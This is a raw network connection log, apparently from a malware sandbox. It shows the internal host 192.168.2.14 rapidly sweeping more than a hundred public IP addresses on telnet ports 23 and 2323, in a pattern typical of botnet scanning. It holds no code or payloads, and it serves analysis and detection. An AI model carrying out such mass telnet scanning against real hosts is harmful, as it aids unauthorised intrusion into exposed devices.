Oct 8, 2024 20:34:44.977583885 CEST	48168	23	192.168.2.14	96.81.58.33
Oct 8, 2024 20:34:44.977583885 CEST	48168	23	192.168.2.14	185.137.146.128
Oct 8, 2024 20:34:44.977583885 CEST	48168	23	192.168.2.14	20.155.141.57
Oct 8, 2024 20:34:44.977583885 CEST	48168	2323	192.168.2.14	74.176.75.97
Oct 8, 2024 20:34:44.977585077 CEST	48168	23	192.168.2.14	210.73.129.127
Oct 8, 2024 20:34:44.977585077 CEST	48168	23	192.168.2.14	47.20.64.133
Oct 8, 2024 20:34:44.977585077 CEST	48168	23	192.168.2.14	69.15.35.212
Oct 8, 2024 20:34:44.977595091 CEST	48168	23	192.168.2.14	97.203.70.150
Oct 8, 2024 20:34:44.977596045 CEST	48168	23	192.168.2.14	42.175.18.5
Oct 8, 2024 20:34:44.977595091 CEST	48168	23	192.168.2.14	118.204.238.134
Oct 8, 2024 20:34:44.977596045 CEST	48168	23	192.168.2.14	191.109.116.116
Oct 8, 2024 20:34:44.977597952 CEST	48168	23	192.168.2.14	182.2.129.12
Oct 8, 2024 20:34:44.977595091 CEST	48168	23	192.168.2.14	24.142.109.109
Oct 8, 2024 20:34:44.977597952 CEST	48168	23	192.168.2.14	151.3.222.214
Oct 8, 2024 20:34:44.977596045 CEST	48168	23	192.168.2.14	153.164.167.252
Oct 8, 2024 20:34:44.977612019 CEST	48168	23	192.168.2.14	185.195.2.36
Oct 8, 2024 20:34:44.977615118 CEST	48168	23	192.168.2.14	133.183.31.210
Oct 8, 2024 20:34:44.977622986 CEST	48168	23	192.168.2.14	27.88.157.239
Oct 8, 2024 20:34:44.977632046 CEST	48168	23	192.168.2.14	4.230.220.109
Oct 8, 2024 20:34:44.977632046 CEST	48168	23	192.168.2.14	68.238.94.76
Oct 8, 2024 20:34:44.977633953 CEST	48168	23	192.168.2.14	42.241.204.19
Oct 8, 2024 20:34:44.977633953 CEST	48168	2323	192.168.2.14	66.39.152.33
Oct 8, 2024 20:34:44.977633953 CEST	48168	23	192.168.2.14	39.235.40.154
Oct 8, 2024 20:34:44.977633953 CEST	48168	23	192.168.2.14	184.32.106.22
Oct 8, 2024 20:34:44.977646112 CEST	48168	23	192.168.2.14	1.138.223.218
Oct 8, 2024 20:34:44.977646112 CEST	48168	23	192.168.2.14	169.230.1.212
Oct 8, 2024 20:34:44.977652073 CEST	48168	23	192.168.2.14	192.231.93.166
Oct 8, 2024 20:34:44.977657080 CEST	48168	23	192.168.2.14	141.241.153.83
Oct 8, 2024 20:34:44.977658033 CEST	48168	23	192.168.2.14	221.149.33.162
Oct 8, 2024 20:34:44.977663040 CEST	48168	23	192.168.2.14	161.51.144.214
Oct 8, 2024 20:34:44.977663040 CEST	48168	23	192.168.2.14	175.37.35.12
Oct 8, 2024 20:34:44.977663040 CEST	48168	23	192.168.2.14	41.138.148.2
Oct 8, 2024 20:34:44.977663040 CEST	48168	23	192.168.2.14	200.179.157.200
Oct 8, 2024 20:34:44.977679014 CEST	48168	2323	192.168.2.14	182.215.152.110
Oct 8, 2024 20:34:44.977679968 CEST	48168	2323	192.168.2.14	63.186.0.211
Oct 8, 2024 20:34:44.977679968 CEST	48168	23	192.168.2.14	197.1.90.105
Oct 8, 2024 20:34:44.977679968 CEST	48168	23	192.168.2.14	121.25.125.207
Oct 8, 2024 20:34:44.977684975 CEST	48168	23	192.168.2.14	39.171.104.224
Oct 8, 2024 20:34:44.977684975 CEST	48168	23	192.168.2.14	191.4.180.37
Oct 8, 2024 20:34:44.977684975 CEST	48168	23	192.168.2.14	94.12.95.37
Oct 8, 2024 20:34:44.977724075 CEST	48168	23	192.168.2.14	218.80.241.134
Oct 8, 2024 20:34:44.977724075 CEST	48168	23	192.168.2.14	59.231.167.25
Oct 8, 2024 20:34:44.977725983 CEST	48168	23	192.168.2.14	58.255.59.125
Oct 8, 2024 20:34:44.977725983 CEST	48168	23	192.168.2.14	154.95.200.202
Oct 8, 2024 20:34:44.977771044 CEST	48168	23	192.168.2.14	223.212.151.28
Oct 8, 2024 20:34:44.977776051 CEST	48168	23	192.168.2.14	83.83.245.255
Oct 8, 2024 20:34:44.977776051 CEST	48168	23	192.168.2.14	78.57.215.249
Oct 8, 2024 20:34:44.977801085 CEST	48168	23	192.168.2.14	37.238.198.214
Oct 8, 2024 20:34:44.977802992 CEST	48168	2323	192.168.2.14	104.41.39.23
Oct 8, 2024 20:34:44.977802992 CEST	48168	23	192.168.2.14	161.33.52.186
Oct 8, 2024 20:34:44.977804899 CEST	48168	23	192.168.2.14	216.211.160.21
Oct 8, 2024 20:34:44.977806091 CEST	48168	23	192.168.2.14	38.155.189.64
Oct 8, 2024 20:34:44.977804899 CEST	48168	23	192.168.2.14	200.231.0.179
Oct 8, 2024 20:34:44.977806091 CEST	48168	23	192.168.2.14	120.72.159.225
Oct 8, 2024 20:34:44.977807045 CEST	48168	2323	192.168.2.14	141.15.166.176
Oct 8, 2024 20:34:44.977806091 CEST	48168	23	192.168.2.14	195.194.213.235
Oct 8, 2024 20:34:44.977829933 CEST	48168	23	192.168.2.14	193.130.81.11
Oct 8, 2024 20:34:44.977830887 CEST	48168	23	192.168.2.14	200.212.79.145
Oct 8, 2024 20:34:44.977852106 CEST	48168	23	192.168.2.14	164.41.206.5
Oct 8, 2024 20:34:44.977858067 CEST	48168	23	192.168.2.14	190.176.217.131
Oct 8, 2024 20:34:44.977883101 CEST	48168	23	192.168.2.14	161.56.190.214
Oct 8, 2024 20:34:44.977884054 CEST	48168	23	192.168.2.14	53.255.74.8
Oct 8, 2024 20:34:44.977883101 CEST	48168	23	192.168.2.14	170.13.185.109
Oct 8, 2024 20:34:44.977884054 CEST	48168	23	192.168.2.14	114.238.202.120
Oct 8, 2024 20:34:44.977888107 CEST	48168	23	192.168.2.14	91.135.25.223
Oct 8, 2024 20:34:44.977888107 CEST	48168	2323	192.168.2.14	181.118.65.133
Oct 8, 2024 20:34:44.977888107 CEST	48168	23	192.168.2.14	178.170.106.53
Oct 8, 2024 20:34:44.977890968 CEST	48168	23	192.168.2.14	165.81.157.56
Oct 8, 2024 20:34:44.977899075 CEST	48168	23	192.168.2.14	17.95.233.175
Oct 8, 2024 20:34:44.977919102 CEST	48168	23	192.168.2.14	71.49.114.172
Oct 8, 2024 20:34:44.977919102 CEST	48168	23	192.168.2.14	92.230.84.184
Oct 8, 2024 20:34:44.977920055 CEST	48168	23	192.168.2.14	197.173.17.46
Oct 8, 2024 20:34:44.977920055 CEST	48168	23	192.168.2.14	141.86.217.109
Oct 8, 2024 20:34:44.977924109 CEST	48168	23	192.168.2.14	111.110.86.52
Oct 8, 2024 20:34:44.977938890 CEST	48168	2323	192.168.2.14	9.255.26.170
Oct 8, 2024 20:34:44.977946043 CEST	48168	23	192.168.2.14	65.250.167.95
Oct 8, 2024 20:34:44.977957964 CEST	48168	23	192.168.2.14	103.30.216.72
Oct 8, 2024 20:34:44.977960110 CEST	48168	23	192.168.2.14	135.140.11.207
Oct 8, 2024 20:34:44.977962017 CEST	48168	23	192.168.2.14	211.128.147.132
Oct 8, 2024 20:34:44.977962017 CEST	48168	23	192.168.2.14	57.193.228.27
Oct 8, 2024 20:34:44.977960110 CEST	48168	23	192.168.2.14	115.96.173.62
Oct 8, 2024 20:34:44.977966070 CEST	48168	23	192.168.2.14	61.118.234.75
Oct 8, 2024 20:34:44.977969885 CEST	48168	23	192.168.2.14	4.10.5.219
Oct 8, 2024 20:34:44.978004932 CEST	48168	23	192.168.2.14	208.102.96.86
Oct 8, 2024 20:34:44.978004932 CEST	48168	23	192.168.2.14	14.114.28.210
Oct 8, 2024 20:34:44.978008032 CEST	48168	23	192.168.2.14	162.33.143.32
Oct 8, 2024 20:34:44.978034973 CEST	48168	23	192.168.2.14	73.220.234.71
Oct 8, 2024 20:34:44.978035927 CEST	48168	2323	192.168.2.14	133.167.80.38
Oct 8, 2024 20:34:44.978039026 CEST	48168	23	192.168.2.14	193.5.28.230
Oct 8, 2024 20:34:44.978039026 CEST	48168	23	192.168.2.14	111.37.91.169
Oct 8, 2024 20:34:44.978039026 CEST	48168	23	192.168.2.14	71.29.202.225
Oct 8, 2024 20:34:44.978061914 CEST	48168	23	192.168.2.14	71.135.54.150
Oct 8, 2024 20:34:44.978061914 CEST	48168	2323	192.168.2.14	79.13.189.169
Oct 8, 2024 20:34:44.978065014 CEST	48168	23	192.168.2.14	188.40.57.49
Oct 8, 2024 20:34:44.978065014 CEST	48168	23	192.168.2.14	57.3.156.236
Oct 8, 2024 20:34:44.978090048 CEST	48168	23	192.168.2.14	5.66.82.57
Oct 8, 2024 20:34:44.978094101 CEST	48168	23	192.168.2.14	36.150.13.109
Oct 8, 2024 20:34:44.978097916 CEST	48168	23	192.168.2.14	136.135.99.203
Oct 8, 2024 20:34:44.978097916 CEST	48168	23	192.168.2.14	40.141.253.23
Oct 8, 2024 20:34:44.978097916 CEST	48168	23	192.168.2.14	102.107.33.118
Oct 8, 2024 20:34:44.978106022 CEST	48168	23	192.168.2.14	103.53.165.71
Oct 8, 2024 20:34:44.978132963 CEST	48168	23	192.168.2.14	87.123.224.112
Oct 8, 2024 20:34:44.978133917 CEST	48168	23	192.168.2.14	166.97.76.241
Oct 8, 2024 20:34:44.978137970 CEST	48168	23	192.168.2.14	122.233.212.231
Oct 8, 2024 20:34:44.978143930 CEST	48168	23	192.168.2.14	100.215.71.159
Oct 8, 2024 20:34:44.978144884 CEST	48168	2323	192.168.2.14	130.223.129.219
Oct 8, 2024 20:34:44.978146076 CEST	48168	23	192.168.2.14	161.30.195.237
Oct 8, 2024 20:34:44.978157043 CEST	48168	23	192.168.2.14	149.240.95.52
Oct 8, 2024 20:34:44.978178978 CEST	48168	23	192.168.2.14	202.75.205.164
Oct 8, 2024 20:34:44.978182077 CEST	48168	23	192.168.2.14	155.69.235.137
Oct 8, 2024 20:34:44.978209019 CEST	48168	23	192.168.2.14	193.236.106.148
Oct 8, 2024 20:34:44.978210926 CEST	48168	23	192.168.2.14	147.6.94.203
Oct 8, 2024 20:34:44.978210926 CEST	48168	23	192.168.2.14	201.123.139.26
Oct 8, 2024 20:34:44.978216887 CEST	48168	2323	192.168.2.14	66.188.177.166
Oct 8, 2024 20:34:44.978230953 CEST	48168	23	192.168.2.14	34.139.1.111
Oct 8, 2024 20:34:44.978254080 CEST	48168	23	192.168.2.14	163.200.71.84
Oct 8, 2024 20:34:44.978260994 CEST	48168	23	192.168.2.14	82.74.157.189
Oct 8, 2024 20:34:44.978264093 CEST	48168	23	192.168.2.14	181.155.168.139
Oct 8, 2024 20:34:44.978265047 CEST	48168	23	192.168.2.14	86.76.81.148
Oct 8, 2024 20:34:44.978266954 CEST	48168	23	192.168.2.14	189.183.243.132
Oct 8, 2024 20:34:44.978266954 CEST	48168	23	192.168.2.14	222.95.48.218
Oct 8, 2024 20:34:44.978270054 CEST	48168	23	192.168.2.14	209.128.47.32
Oct 8, 2024 20:34:44.978270054 CEST	48168	23	192.168.2.14	195.192.231.61
Oct 8, 2024 20:34:44.978281021 CEST	48168	23	192.168.2.14	34.113.51.170
Oct 8, 2024 20:34:44.978308916 CEST	48168	2323	192.168.2.14	117.192.63.101
Oct 8, 2024 20:34:44.978311062 CEST	48168	23	192.168.2.14	38.15.66.62
Oct 8, 2024 20:34:44.978322983 CEST	48168	23	192.168.2.14	35.150.47.89
Oct 8, 2024 20:34:44.978324890 CEST	48168	23	192.168.2.14	110.132.9.138
Oct 8, 2024 20:34:44.978324890 CEST	48168	23	192.168.2.14	197.165.157.118
Oct 8, 2024 20:34:44.978327990 CEST	48168	23	192.168.2.14	9.188.46.201
Oct 8, 2024 20:34:44.978327990 CEST	48168	23	192.168.2.14	202.227.61.25
Oct 8, 2024 20:34:44.978339911 CEST	48168	2323	192.168.2.14	76.241.132.158
Oct 8, 2024 20:34:44.978353977 CEST	48168	23	192.168.2.14	66.197.183.196
Oct 8, 2024 20:34:44.978358030 CEST	48168	23	192.168.2.14	99.156.161.91
Oct 8, 2024 20:34:44.978362083 CEST	48168	23	192.168.2.14	5.113.78.38
Oct 8, 2024 20:34:44.978368044 CEST	48168	23	192.168.2.14	115.153.192.172
Oct 8, 2024 20:34:44.978372097 CEST	48168	23	192.168.2.14	218.185.118.120
Oct 8, 2024 20:34:44.978388071 CEST	48168	23	192.168.2.14	146.251.2.192
Oct 8, 2024 20:34:44.978388071 CEST	48168	23	192.168.2.14	200.155.222.250
Oct 8, 2024 20:34:44.978389978 CEST	48168	23	192.168.2.14	47.36.105.35
Oct 8, 2024 20:34:44.978390932 CEST	48168	23	192.168.2.14	85.123.232.131
Oct 8, 2024 20:34:44.978390932 CEST	48168	23	192.168.2.14	114.16.108.37
Oct 8, 2024 20:34:44.978390932 CEST	48168	23	192.168.2.14	112.189.200.201
Oct 8, 2024 20:34:44.978390932 CEST	48168	23	192.168.2.14	219.138.214.99
Oct 8, 2024 20:34:44.979201078 CEST	47284	2323	192.168.2.14	205.120.223.78
Oct 8, 2024 20:34:44.981230021 CEST	40250	23	192.168.2.14	20.51.247.88
Oct 8, 2024 20:34:44.982705116 CEST	23	48168	102.20.153.20	192.168.2.14
Oct 8, 2024 20:34:44.982762098 CEST	48168	23	192.168.2.14	102.20.153.20
Oct 8, 2024 20:34:44.982805014 CEST	23	48168	169.36.75.192	192.168.2.14
Oct 8, 2024 20:34:44.982816935 CEST	23	48168	67.198.48.130	192.168.2.14
Oct 8, 2024 20:34:44.982826948 CEST	23	48168	160.113.240.38	192.168.2.14
Oct 8, 2024 20:34:44.982846022 CEST	23	48168	155.209.154.81	192.168.2.14
Oct 8, 2024 20:34:44.982846022 CEST	48168	23	192.168.2.14	169.36.75.192
Oct 8, 2024 20:34:44.982856989 CEST	23	48168	77.191.202.43	192.168.2.14
Oct 8, 2024 20:34:44.982883930 CEST	48168	23	192.168.2.14	67.198.48.130
Oct 8, 2024 20:34:44.982884884 CEST	48168	23	192.168.2.14	160.113.240.38
Oct 8, 2024 20:34:44.982891083 CEST	48168	23	192.168.2.14	155.209.154.81
Oct 8, 2024 20:34:44.982897997 CEST	48168	23	192.168.2.14	77.191.202.43
Oct 8, 2024 20:34:44.983654022 CEST	35108	23	192.168.2.14	70.201.40.80
Oct 8, 2024 20:34:44.983688116 CEST	23	48168	92.33.191.19	192.168.2.14
Oct 8, 2024 20:34:44.983697891 CEST	23	48168	2.189.11.69	192.168.2.14
Oct 8, 2024 20:34:44.983701944 CEST	23	48168	167.200.2.90	192.168.2.14
Oct 8, 2024 20:34:44.983737946 CEST	48168	23	192.168.2.14	92.33.191.19
Oct 8, 2024 20:34:44.983737946 CEST	48168	23	192.168.2.14	2.189.11.69
Oct 8, 2024 20:34:44.983757019 CEST	23	48168	182.2.129.12	192.168.2.14
Oct 8, 2024 20:34:44.983767986 CEST	23	48168	151.3.222.214	192.168.2.14
Oct 8, 2024 20:34:44.983772039 CEST	48168	23	192.168.2.14	167.200.2.90
Oct 8, 2024 20:34:44.983777046 CEST	23	48168	42.175.18.5	192.168.2.14
Oct 8, 2024 20:34:44.983787060 CEST	23	48168	167.141.22.124	192.168.2.14
Oct 8, 2024 20:34:44.983798027 CEST	23	48168	191.109.116.116	192.168.2.14
Oct 8, 2024 20:34:44.983798981 CEST	48168	23	192.168.2.14	182.2.129.12
Oct 8, 2024 20:34:44.983798981 CEST	48168	23	192.168.2.14	151.3.222.214
Oct 8, 2024 20:34:44.983808041 CEST	23	48168	185.195.2.36	192.168.2.14
Oct 8, 2024 20:34:44.983808994 CEST	48168	23	192.168.2.14	42.175.18.5
Oct 8, 2024 20:34:44.983819008 CEST	23	48168	149.187.44.209	192.168.2.14
Oct 8, 2024 20:34:44.983825922 CEST	48168	23	192.168.2.14	167.141.22.124
Oct 8, 2024 20:34:44.983829021 CEST	23	48168	153.164.167.252	192.168.2.14
Oct 8, 2024 20:34:44.983836889 CEST	48168	23	192.168.2.14	191.109.116.116
Oct 8, 2024 20:34:44.983839989 CEST	23	48168	97.203.70.150	192.168.2.14
Oct 8, 2024 20:34:44.983854055 CEST	48168	23	192.168.2.14	185.195.2.36
Oct 8, 2024 20:34:44.983860016 CEST	23	48168	133.183.31.210	192.168.2.14
Oct 8, 2024 20:34:44.983860016 CEST	48168	23	192.168.2.14	153.164.167.252
Oct 8, 2024 20:34:44.983865976 CEST	48168	23	192.168.2.14	97.203.70.150
Oct 8, 2024 20:34:44.983870983 CEST	23	48168	121.246.209.7	192.168.2.14
Oct 8, 2024 20:34:44.983880043 CEST	23	48168	118.204.238.134	192.168.2.14
Oct 8, 2024 20:34:44.983889103 CEST	48168	23	192.168.2.14	133.183.31.210
Oct 8, 2024 20:34:44.983890057 CEST	23	48168	85.210.63.41	192.168.2.14
Oct 8, 2024 20:34:44.983895063 CEST	48168	23	192.168.2.14	121.246.209.7
Oct 8, 2024 20:34:44.983897924 CEST	48168	23	192.168.2.14	149.187.44.209
Oct 8, 2024 20:34:44.983900070 CEST	23	48168	24.142.109.109	192.168.2.14
Oct 8, 2024 20:34:44.983911037 CEST	2323	48168	1.208.64.84	192.168.2.14
Oct 8, 2024 20:34:44.983920097 CEST	23	48168	27.88.157.239	192.168.2.14
Oct 8, 2024 20:34:44.983942032 CEST	48168	23	192.168.2.14	24.142.109.109
Oct 8, 2024 20:34:44.983942032 CEST	48168	23	192.168.2.14	118.204.238.134
Oct 8, 2024 20:34:44.983942986 CEST	48168	23	192.168.2.14	85.210.63.41
Oct 8, 2024 20:34:44.983946085 CEST	48168	2323	192.168.2.14	1.208.64.84
Oct 8, 2024 20:34:44.983958006 CEST	48168	23	192.168.2.14	27.88.157.239
Oct 8, 2024 20:34:44.983984947 CEST	23	48168	20.155.141.57	192.168.2.14
Oct 8, 2024 20:34:44.983994961 CEST	2323	48168	74.176.75.97	192.168.2.14
Oct 8, 2024 20:34:44.984004021 CEST	23	48168	210.73.129.127	192.168.2.14
Oct 8, 2024 20:34:44.984014034 CEST	23	48168	4.230.220.109	192.168.2.14
Oct 8, 2024 20:34:44.984023094 CEST	23	48168	42.241.204.19	192.168.2.14
Oct 8, 2024 20:34:44.984024048 CEST	48168	23	192.168.2.14	20.155.141.57
Oct 8, 2024 20:34:44.984025002 CEST	48168	2323	192.168.2.14	74.176.75.97
Oct 8, 2024 20:34:44.984033108 CEST	23	48168	47.20.64.133	192.168.2.14
Oct 8, 2024 20:34:44.984044075 CEST	23	48168	68.238.94.76	192.168.2.14
Oct 8, 2024 20:34:44.984050035 CEST	48168	23	192.168.2.14	4.230.220.109
Oct 8, 2024 20:34:44.984052896 CEST	23	48168	69.15.35.212	192.168.2.14
Oct 8, 2024 20:34:44.984061956 CEST	48168	23	192.168.2.14	42.241.204.19
Oct 8, 2024 20:34:44.984062910 CEST	23	48168	1.138.223.218	192.168.2.14
Oct 8, 2024 20:34:44.984062910 CEST	48168	23	192.168.2.14	210.73.129.127
Oct 8, 2024 20:34:44.984062910 CEST	48168	23	192.168.2.14	47.20.64.133
Oct 8, 2024 20:34:44.984069109 CEST	2323	48168	115.208.141.64	192.168.2.14
Oct 8, 2024 20:34:44.984077930 CEST	23	48168	192.231.93.166	192.168.2.14
Oct 8, 2024 20:34:44.984091043 CEST	23	48168	155.248.155.233	192.168.2.14
Oct 8, 2024 20:34:44.984102011 CEST	23	48168	221.149.33.162	192.168.2.14
Oct 8, 2024 20:34:44.984112024 CEST	48168	23	192.168.2.14	192.231.93.166
Oct 8, 2024 20:34:44.984112024 CEST	23	48168	96.81.58.33	192.168.2.14
Oct 8, 2024 20:34:44.984113932 CEST	48168	23	192.168.2.14	1.138.223.218
Oct 8, 2024 20:34:44.984114885 CEST	48168	23	192.168.2.14	68.238.94.76
Oct 8, 2024 20:34:44.984117985 CEST	23	48168	141.241.153.83	192.168.2.14
Oct 8, 2024 20:34:44.984127045 CEST	23	48168	169.230.1.212	192.168.2.14
Oct 8, 2024 20:34:44.984131098 CEST	23	48168	185.137.146.128	192.168.2.14
Oct 8, 2024 20:34:44.984137058 CEST	48168	23	192.168.2.14	69.15.35.212
Oct 8, 2024 20:34:44.984139919 CEST	2323	48168	66.39.152.33	192.168.2.14
Oct 8, 2024 20:34:44.984141111 CEST	48168	23	192.168.2.14	221.149.33.162
Oct 8, 2024 20:34:44.984141111 CEST	48168	2323	192.168.2.14	115.208.141.64
Oct 8, 2024 20:34:44.984141111 CEST	48168	23	192.168.2.14	155.248.155.233
Oct 8, 2024 20:34:44.984141111 CEST	48168	23	192.168.2.14	96.81.58.33
Oct 8, 2024 20:34:44.984152079 CEST	23	48168	39.235.40.154	192.168.2.14
Oct 8, 2024 20:34:44.984160900 CEST	48168	23	192.168.2.14	185.137.146.128
Oct 8, 2024 20:34:44.984163046 CEST	23	48168	184.32.106.22	192.168.2.14
Oct 8, 2024 20:34:44.984173059 CEST	2323	48168	182.215.152.110	192.168.2.14
Oct 8, 2024 20:34:44.984183073 CEST	23	48168	161.51.144.214	192.168.2.14
Oct 8, 2024 20:34:44.984191895 CEST	23	48168	175.37.35.12	192.168.2.14
Oct 8, 2024 20:34:44.984191895 CEST	48168	2323	192.168.2.14	66.39.152.33
Oct 8, 2024 20:34:44.984191895 CEST	48168	23	192.168.2.14	39.235.40.154
Oct 8, 2024 20:34:44.984191895 CEST	48168	23	192.168.2.14	184.32.106.22
Oct 8, 2024 20:34:44.984200001 CEST	48168	23	192.168.2.14	169.230.1.212
Oct 8, 2024 20:34:44.984200954 CEST	23	48168	191.4.180.37	192.168.2.14
Oct 8, 2024 20:34:44.984211922 CEST	23	48168	41.138.148.2	192.168.2.14
Oct 8, 2024 20:34:44.984213114 CEST	48168	23	192.168.2.14	161.51.144.214
Oct 8, 2024 20:34:44.984220028 CEST	23	48168	39.171.104.224	192.168.2.14
Oct 8, 2024 20:34:44.984229088 CEST	2323	48168	63.186.0.211	192.168.2.14
Oct 8, 2024 20:34:44.984232903 CEST	48168	23	192.168.2.14	191.4.180.37
Oct 8, 2024 20:34:44.984236956 CEST	23	48168	200.179.157.200	192.168.2.14
Oct 8, 2024 20:34:44.984247923 CEST	48168	23	192.168.2.14	175.37.35.12
Oct 8, 2024 20:34:44.984247923 CEST	23	48168	197.1.90.105	192.168.2.14
Oct 8, 2024 20:34:44.984247923 CEST	48168	23	192.168.2.14	41.138.148.2
Oct 8, 2024 20:34:44.984258890 CEST	23	48168	121.25.125.207	192.168.2.14
Oct 8, 2024 20:34:44.984261036 CEST	48168	2323	192.168.2.14	63.186.0.211
Oct 8, 2024 20:34:44.984270096 CEST	23	48168	94.12.95.37	192.168.2.14
Oct 8, 2024 20:34:44.984272003 CEST	48168	23	192.168.2.14	141.241.153.83
Oct 8, 2024 20:34:44.984277964 CEST	23	48168	59.231.167.25	192.168.2.14
Oct 8, 2024 20:34:44.984291077 CEST	48168	23	192.168.2.14	39.171.104.224
Oct 8, 2024 20:34:44.984291077 CEST	48168	23	192.168.2.14	94.12.95.37
Oct 8, 2024 20:34:44.984292030 CEST	48168	23	192.168.2.14	200.179.157.200
Oct 8, 2024 20:34:44.984293938 CEST	48168	2323	192.168.2.14	182.215.152.110
Oct 8, 2024 20:34:44.984298944 CEST	48168	23	192.168.2.14	197.1.90.105
Oct 8, 2024 20:34:44.984298944 CEST	48168	23	192.168.2.14	121.25.125.207
Oct 8, 2024 20:34:44.984344006 CEST	48168	23	192.168.2.14	59.231.167.25
Oct 8, 2024 20:34:44.984620094 CEST	23	48168	218.80.241.134	192.168.2.14
Oct 8, 2024 20:34:44.984631062 CEST	23	48168	58.255.59.125	192.168.2.14
Oct 8, 2024 20:34:44.984638929 CEST	23	48168	154.95.200.202	192.168.2.14
Oct 8, 2024 20:34:44.984648943 CEST	23	48168	223.212.151.28	192.168.2.14
Oct 8, 2024 20:34:44.984669924 CEST	48168	23	192.168.2.14	58.255.59.125
Oct 8, 2024 20:34:44.984680891 CEST	48168	23	192.168.2.14	154.95.200.202
Oct 8, 2024 20:34:44.984684944 CEST	23	48168	83.83.245.255	192.168.2.14
Oct 8, 2024 20:34:44.984694004 CEST	23	48168	78.57.215.249	192.168.2.14
Oct 8, 2024 20:34:44.984698057 CEST	23	48168	37.238.198.214	192.168.2.14
Oct 8, 2024 20:34:44.984702110 CEST	48168	23	192.168.2.14	218.80.241.134
Oct 8, 2024 20:34:44.984707117 CEST	2323	48168	104.41.39.23	192.168.2.14
Oct 8, 2024 20:34:44.984714031 CEST	48168	23	192.168.2.14	223.212.151.28
Oct 8, 2024 20:34:44.984715939 CEST	48168	23	192.168.2.14	83.83.245.255
Oct 8, 2024 20:34:44.984716892 CEST	23	48168	216.211.160.21	192.168.2.14
Oct 8, 2024 20:34:44.984725952 CEST	48168	23	192.168.2.14	37.238.198.214
Oct 8, 2024 20:34:44.984728098 CEST	2323	48168	141.15.166.176	192.168.2.14
Oct 8, 2024 20:34:44.984736919 CEST	23	48168	161.33.52.186	192.168.2.14
Oct 8, 2024 20:34:44.984749079 CEST	48168	23	192.168.2.14	78.57.215.249
Oct 8, 2024 20:34:44.984749079 CEST	23	48168	200.231.0.179	192.168.2.14
Oct 8, 2024 20:34:44.984755993 CEST	23	48168	38.155.189.64	192.168.2.14
Oct 8, 2024 20:34:44.984757900 CEST	48168	23	192.168.2.14	161.33.52.186
Oct 8, 2024 20:34:44.984760046 CEST	23	48168	120.72.159.225	192.168.2.14
Oct 8, 2024 20:34:44.984762907 CEST	48168	2323	192.168.2.14	104.41.39.23
Oct 8, 2024 20:34:44.984766006 CEST	48168	23	192.168.2.14	216.211.160.21
Oct 8, 2024 20:34:44.984766960 CEST	48168	2323	192.168.2.14	141.15.166.176
Oct 8, 2024 20:34:44.984771013 CEST	23	48168	195.194.213.235	192.168.2.14
Oct 8, 2024 20:34:44.984781027 CEST	23	48168	193.130.81.11	192.168.2.14
Oct 8, 2024 20:34:44.984786987 CEST	48168	23	192.168.2.14	200.231.0.179
Oct 8, 2024 20:34:44.984791040 CEST	23	48168	200.212.79.145	192.168.2.14
Oct 8, 2024 20:34:44.984801054 CEST	23	48168	164.41.206.5	192.168.2.14
Oct 8, 2024 20:34:44.984805107 CEST	48168	23	192.168.2.14	38.155.189.64
Oct 8, 2024 20:34:44.984805107 CEST	48168	23	192.168.2.14	195.194.213.235
Oct 8, 2024 20:34:44.984805107 CEST	48168	23	192.168.2.14	120.72.159.225
Oct 8, 2024 20:34:44.984805107 CEST	48168	23	192.168.2.14	193.130.81.11
Oct 8, 2024 20:34:44.984810114 CEST	23	48168	190.176.217.131	192.168.2.14
Oct 8, 2024 20:34:44.984819889 CEST	23	48168	53.255.74.8	192.168.2.14
Oct 8, 2024 20:34:44.984831095 CEST	23	48168	114.238.202.120	192.168.2.14
Oct 8, 2024 20:34:44.984831095 CEST	48168	23	192.168.2.14	164.41.206.5
Oct 8, 2024 20:34:44.984833002 CEST	48168	23	192.168.2.14	200.212.79.145
Oct 8, 2024 20:34:44.984834909 CEST	48168	23	192.168.2.14	190.176.217.131
Oct 8, 2024 20:34:44.984834909 CEST	23	48168	165.81.157.56	192.168.2.14
Oct 8, 2024 20:34:44.984850883 CEST	23	48168	91.135.25.223	192.168.2.14
Oct 8, 2024 20:34:44.984872103 CEST	2323	48168	181.118.65.133	192.168.2.14
Oct 8, 2024 20:34:44.984882116 CEST	23	48168	178.170.106.53	192.168.2.14
Oct 8, 2024 20:34:44.984891891 CEST	23	48168	161.56.190.214	192.168.2.14
Oct 8, 2024 20:34:44.984893084 CEST	50742	23	192.168.2.14	120.84.58.115
Oct 8, 2024 20:34:44.984894037 CEST	48168	23	192.168.2.14	53.255.74.8
Oct 8, 2024 20:34:44.984894037 CEST	48168	23	192.168.2.14	114.238.202.120
Oct 8, 2024 20:34:44.984901905 CEST	23	48168	17.95.233.175	192.168.2.14
Oct 8, 2024 20:34:44.984903097 CEST	48168	23	192.168.2.14	91.135.25.223
Oct 8, 2024 20:34:44.984903097 CEST	48168	2323	192.168.2.14	181.118.65.133
Oct 8, 2024 20:34:44.984905005 CEST	48168	23	192.168.2.14	165.81.157.56
Oct 8, 2024 20:34:44.984914064 CEST	23	48168	170.13.185.109	192.168.2.14
Oct 8, 2024 20:34:44.984934092 CEST	23	48168	197.173.17.46	192.168.2.14
Oct 8, 2024 20:34:44.984940052 CEST	48168	23	192.168.2.14	17.95.233.175
Oct 8, 2024 20:34:44.984941959 CEST	48168	23	192.168.2.14	161.56.190.214
Oct 8, 2024 20:34:44.984941959 CEST	48168	23	192.168.2.14	170.13.185.109
Oct 8, 2024 20:34:44.984944105 CEST	23	48168	141.86.217.109	192.168.2.14
Oct 8, 2024 20:34:44.984954119 CEST	23	48168	71.49.114.172	192.168.2.14
Oct 8, 2024 20:34:44.984955072 CEST	48168	23	192.168.2.14	178.170.106.53
Oct 8, 2024 20:34:44.984963894 CEST	23	48168	111.110.86.52	192.168.2.14
Oct 8, 2024 20:34:44.984972954 CEST	48168	23	192.168.2.14	197.173.17.46
Oct 8, 2024 20:34:44.984973907 CEST	23	48168	92.230.84.184	192.168.2.14
Oct 8, 2024 20:34:44.984983921 CEST	2323	48168	9.255.26.170	192.168.2.14
Oct 8, 2024 20:34:44.984991074 CEST	48168	23	192.168.2.14	141.86.217.109
Oct 8, 2024 20:34:44.985003948 CEST	48168	23	192.168.2.14	71.49.114.172
Oct 8, 2024 20:34:44.985003948 CEST	48168	23	192.168.2.14	92.230.84.184
Oct 8, 2024 20:34:44.985004902 CEST	23	48168	65.250.167.95	192.168.2.14
Oct 8, 2024 20:34:44.985013962 CEST	23	48168	103.30.216.72	192.168.2.14
Oct 8, 2024 20:34:44.985016108 CEST	48168	23	192.168.2.14	111.110.86.52
Oct 8, 2024 20:34:44.985018015 CEST	48168	2323	192.168.2.14	9.255.26.170
